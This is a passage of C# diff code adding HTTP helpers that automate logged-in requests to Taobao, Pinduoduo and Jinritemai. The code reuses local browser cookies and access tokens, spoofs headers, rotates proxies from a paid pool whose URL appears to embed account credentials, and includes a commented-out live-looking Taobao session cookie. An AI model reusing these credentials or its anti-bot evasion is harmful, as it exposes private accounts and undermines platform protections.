wb.ResponseHeaders.ToString(); + //string lo= response.Headers["Location"]; + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, int timeOut = 30) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "[^_]PASS_ID=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = timeOut; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + //if (url.Contains("fuwu.pinduoduo.com")) + // wb.Headers.Add("Origin", "https://fuwu.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + public static string UploadFxgPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + Againt: + string userAgent = BaseClass.ChromeUserAgent; + if (string.IsNullOrEmpty(userAgent)) + { + userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; + } + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Origin", "https://fxg.jinritemai.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("Sec-Fetch-Site", "same-origin"); + wb.Headers.Add("Sec-Fetch-Mode", "cors"); + wb.Headers.Add("Sec-Fetch-Dest", "empty"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + //} + //else + //{ + //wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, string cookies,string codex) + { + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies,codex); + } + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies,string codex) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "[^_]PASS_ID=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Anti-Content", codex); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + public static string UploadTaobaoPostWhite(string url, string refere, bool isUtf8, string data, string cookies, string codex ,string VerifyAuthToken) + { + return UploadTaobaoPostWhite(url, refere, isUtf8, data, false, cookies, codex, VerifyAuthToken); + } + public static string UploadTaobaoPostWhite(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, string codex,string VerifyAuthToken) + { + bool againt = false; + try + { + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Anti-Content", codex); + wb.Headers.Add("VerifyAuthToken", VerifyAuthToken); + wb.Headers.Add("Origin", "https://aid.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + + + + public static string UploadTransitTaobao(string url, string refere, bool isUtf8) + { + string cookies = GetCookies(url, ""); + return UploadTransitTaobaoPost(url, refere, isUtf8, "", false, cookies); + } + + public static string createtRansit() + { + // string pkey = @" -----BEGIN PUBLIC KEY---- + //MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCJ50kaClQ5XTQfzkHAW9Ehi+iXQKUwVWg1R0SC3uYIlVmneu6AfVPEj6ovMmHa2ucq0qCUlMK+ACUPejzMZbcRAMtDAM+o0XYujcGxJpcc6jHhZGO0QSRK37+i47RbCxcdsUZUB5AS0BAIQOTfRW8XUrrGzmZWtiypu/97lKVpeQIDAQAB + //-----END PUBLIC KEY-----"; + // string data = "sycmsycmsycmsycm"; + // var rsa = new RSA(pkey, true); + // string transit_id = rsa.Encode(data); + string pkey = " -----BEGIN PUBLIC KEY----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCJ50kaClQ5XTQfzkHAW9Ehi+iXQKUwVWg1R0SC3uYIlVmneu6AfVPEj6ovMmHa2ucq0qCUlMK+ACUPejzMZbcRAMtDAM+o0XYujcGxJpcc6jHhZGO0QSRK37+i47RbCxcdsUZUB5AS0BAIQOTfRW8XUrrGzmZWtiypu/97lKVpeQIDAQAB\n-----END PUBLIC KEY-----"; + string data = "w28Cz694s63kBYk4"; + var rsa = new RSA(pkey, true); + string transit_id = rsa.Encode(data); + return transit_id; + } + public static string UploadTransitTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if (string.IsNullOrEmpty(cookies)) + cookies = BaseClass.ChromeCookies; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+?);"); + Againt: + string userAgent = BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + if (!string.IsNullOrEmpty(cookies) && cookies.Contains("PDDAccessToken") && BaseClass.CookiesAll.ContainsKey("yangkeduo.com") && BaseClass.CookiesAll["yangkeduo.com"].ContainsKey("PDDAccessToken")) + wb.Headers.Add("accesstoken", BaseClass.CookiesAll["yangkeduo.com"]["PDDAccessToken"]); + else if (!string.IsNullOrEmpty(pdd)) + wb.Headers.Add("accesstoken", pdd); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("transit-id", createtRansit()); + wb.Proxy = null; + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data) && !isPost) + { + b = wb.DownloadData(url); + } + else + { + if (isPost || url.Contains("taobao.com") || url.Contains("1688.com")) + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + } + else + { + wb.Headers.Add("Content-Type", "application/json; charset=" + (isUtf8 ? "UTF-8" : "gbk")); + } + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + if (!againt) + { + againt = true; + Thread.Sleep(10 * 1000); + goto Againt; + } + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + + } + /// + /// POST数据 + /// + /// 网址 + /// 来源 + /// 编码是否为UTF-8 + /// 数据 + /// 是否强制为post提交 + /// + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost) + { + string cookies = GetCookies(url, ""); + return UploadTaobaoPost(url, refere, isUtf8, data, isPost, cookies); + } + + public static string GetJsonPost(string url, string refere, bool isUtf8, string data) + { + string cookies = string.IsNullOrEmpty(BaseClass.ChromeCookies) ? IECookies.GetCookieByWebBrowser(url) : BaseClass.ChromeCookies; + cookies = GetCookies(url, cookies); + return GetJsonPost(url, refere, isUtf8, data, cookies); + } + + public static DateTime GetIpTime = new DateTime(); + public static List DailiIps = new List(); + public static string GetByProxy(string url, bool isUtf8) + { + if (GetIpTime < DateTime.Now.AddSeconds(-300) ) + { + string urlx = "http://vip-custom.66daili.cn/proxypool/proxy/anxmvipvip/HJIHIUJIOP/66daili/"; + //urlx = "http://pdd-custom.66daili.cn/proxypool/custom/2401348571901983939/66daili"; + //if (Randomx.GetId(100) < 50) + // urlx = "http://pdd-custom.66daili.cn/proxypool/custom/2401400501901983956/66daili"; + string html = GetHtml.Utf8(urlx); + if (!string.IsNullOrEmpty(html) && html.Contains(":")) + { + string[] l = html.Split('\n'); + DailiIps.Clear(); + for (int i = 0; i < l.Length; i++) + { + if(string.IsNullOrEmpty(l[i]) || !l[i].Contains(":")) + continue; + DailiIps.Add(l[i].Trim()); + } + } + } + if (DailiIps.Count < 50) + return ""; + string proxy = DailiIps[Randomx.GetId(DailiIps.Count)]; + return GetJsonPost(url, url, isUtf8, "", "", proxy); + } + + + public static string GetJsonPostByProxy(string url, string refere, bool isUtf8, string data, string cookies) + { + string urlx = "http://vip-custom.66daili.cn/proxypool/proxy/anxmvipvip/HJIHIUJIOP/66daili/"; + string html = GetHtml.Utf8(urlx); + string proxy = ""; + if (!string.IsNullOrEmpty(html) && html.Contains(":")) + { + string[] l = html.Split('\n'); + proxy = l[Randomx.GetId(l.Length)].Trim(); + } + return GetJsonPost(url, refere, isUtf8, data, cookies, proxy); + } + + /// + /// json提交数据 + /// + /// + /// + /// + /// + /// + public static string GetJsonPost(string url, string refere, bool isUtf8, string data, string cookies, string proxy) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + if (string.IsNullOrEmpty(cookies)) + cookies = GetCookies(url, cookies); + wb.Timeout = 10; + + wb.AllowAutoRedirect = false; + //wb.Timeout = 70; + //wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(proxy)) + wb.Proxy = new WebProxy(proxy); + else + wb.Proxy = null; + string pdd = ""; + if (!string.IsNullOrEmpty(cookies)) + pdd = BaseRegex.GetMatchRegexString(ref cookies, "PDDAccessToken=([^;]+?);"); + string pddx = ""; + if (!string.IsNullOrEmpty(cookies)) + pddx = BaseRegex.GetMatchRegexString(ref cookies, "PASS_ID=([^;]+)"); + else if (!string.IsNullOrEmpty(pddx)) + wb.Headers.Add("PASSID", pddx); + if (url.Contains("gy.taobao.com")) + wb.Headers.Add("Origin", "https://gy.taobao.com"); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "https://mms.pinduoduo.com"); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + + wb.Headers.Add("Accept", "application/json"); + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + //wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + rehead = wb.Headers.ToString(); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + if (url.Contains("https://mms.pinduoduo.com/auth"))//拼多多登录专用 + { + string domainUrl = "https://mms.pinduoduo.com"; + string setCookies = wb.ResponseHeaders["Set-Cookie"]; + string k = "PASS_ID"; + string v = BaseRegex.GetMatchRegexString(setCookies, "PASS_ID=([^;]+?);"); + var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + var cookie = new CefSharp.Cookie + { + Name = k, + Value = v, + Expires = DateTime.Now.AddYears(1), + Path = "/", + HttpOnly = true + }; + Task task = cookieManager.SetCookieAsync(domainUrl, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + } + BaseClass.ChromeCookies += " PASS_ID=" + v + ";"; + } + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return html; + } + + /// + /// json提交数据 + /// + /// + /// + /// + /// + /// + public static string GetJsonPost(string url, string refere, bool isUtf8, string data, string cookies) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + WebClientx wb = new WebClientx(); + if (string.IsNullOrEmpty(cookies)) + cookies = GetCookies(url, cookies); + wb.Timeout = 30; + wb.Proxy = null; + wb.AllowAutoRedirect = false; + //wb.Timeout = 70; + wb.Headers.Add("Accept", "application/json, text/javascript, */*; q=0.01"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + wb.Headers.Add("Upgrade-Insecure-Requests", "1"); + //wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + //wb.Proxy = null; + string rehead = wb.Headers.ToString(); + if (url.Contains("mms.pinduoduo.com")) + wb.Headers.Add("Origin", "http://mms.pinduoduo.com"); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = encode.GetBytes(data); + string html, head; + try + { + wb.Headers.Add("Content-Type", "application/json; charset=UTF-8"); + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + //wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + + public static string PostFileTaobao(string url, string refere, bool isUtf8, NameValueCollection stringDict,byte[] file) + { + string cookies = GetCookies(url, ""); + string html = HttpPostData(url, 30000, "imgfile", "1.jpg", file, stringDict, "", cookies); + return html; + } + + /// + /// 发送post请求 + /// + /// + /// + /// + /// + /// + /// + private static string HttpPostData(string url, int timeOut, string fileKeyName, string fileName, byte[] file, NameValueCollection stringDict, string referer, string cookies = "") + { + string responseContent; + string cookie = BaseClass.CookiesAllString.ContainsKey("taobao.com") ? BaseClass.CookiesAllString["taobao.com"] : ""; + if (!string.IsNullOrEmpty(cookies)) + { + cookie = cookies; + } + var memStream = new MemoryStream(); + var webRequest = (HttpWebRequest)WebRequest.Create(url); + // 边界符 + var boundary = "----------QkZCM0JGQjYtQzkwRC1CRkU0LUFFQjctMUEyM0M5MkVDMTMz"; + // 边界符 + var beginBoundary = Encoding.ASCII.GetBytes("--" + boundary + "\r\n"); + //var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read); + // 最后的结束符 + var endBoundary = Encoding.ASCII.GetBytes("--" + boundary + "--\r\n"); + + // 设置属性 + webRequest.Method = "POST"; + webRequest.Timeout = timeOut; + webRequest.Proxy = null; + webRequest.ReadWriteTimeout = timeOut; + webRequest.ContentType = "multipart/form-data; boundary=" + boundary; + if (string.IsNullOrEmpty(referer)) + referer = "https://tadget.taobao.com/redaction/manager.htm"; + webRequest.Referer = referer; + webRequest.UserAgent = BaseClass.ChromeUserAgent; + //webRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; + webRequest.Headers.Add("Cookie", cookie); + webRequest.Headers.Add("Origin", "https://www.taobao.com"); + webRequest.Headers.Add("Upgrade-Insecure-Requests", "1"); + webRequest.Headers.Add("Cache-Control", "max-age=0"); + //webRequest.Headers.Add("Cookie", "v=0; cookie2=19bb7096a84354a4c14f57b3b139b358; _tb_token_=371a6e3e53673; existShop=MTQ5NTA4NzEwNQ%3D%3D; skt=07be2c7a4d43d4e3; publishItemObj=Ng%3D%3D; t=cdd5be62cd6b4e78434311371fbd7ff9; uc3=sg2=UtABdWdeGfXD%2FQkzzQhDSLQGa8sMw6MWHGmZA5%2Fz1oY%3D&nk2=G4mgLCefCRJZu5RKow%3D%3D&id2=W8nWsIU9pmPl&vt3=F8dARVDUXtcYdighsV4%3D&lg2=VFC%2FuZ9ayeYq2g%3D%3D; tracknick=xiaotui930904; _cc_=UIHiLt3xSw%3D%3D; tg=0; thw=cn; ali_ab=36.7.115.240.1486373819164.2; miid=805014732159802464; mt=np=&ci=1_1&cyk=2_0; hng=CN%7Czh-CN%7CCNY; cna=FBaXEKHXWGsCASQ5jXreM7Bn; l=Alpa9EIFIfaqKZPIW3nvwNBw6g58A95l; isg=AoGB_EtuvM235dDxcXm4k6uxmM2obfWgjhNWjuPW9AjnyqCcK_uCcC2I-ody; lgc=xiaotui930904; uss=BxExuOuBMGTSmmLusncTQzrc54qNGyvc44m3KpvMw%2FDqvz12lH2jkCfx; _m_user_unitinfo_=unit|unsz; _m_h5_tk=0e98a920393ab7ef74949cb428e8cbf8_1495072723582; _m_h5_tk_enc=c01cbddf709302868d28a398ddc7a464; _m_unitapi_v_=1492572565585; 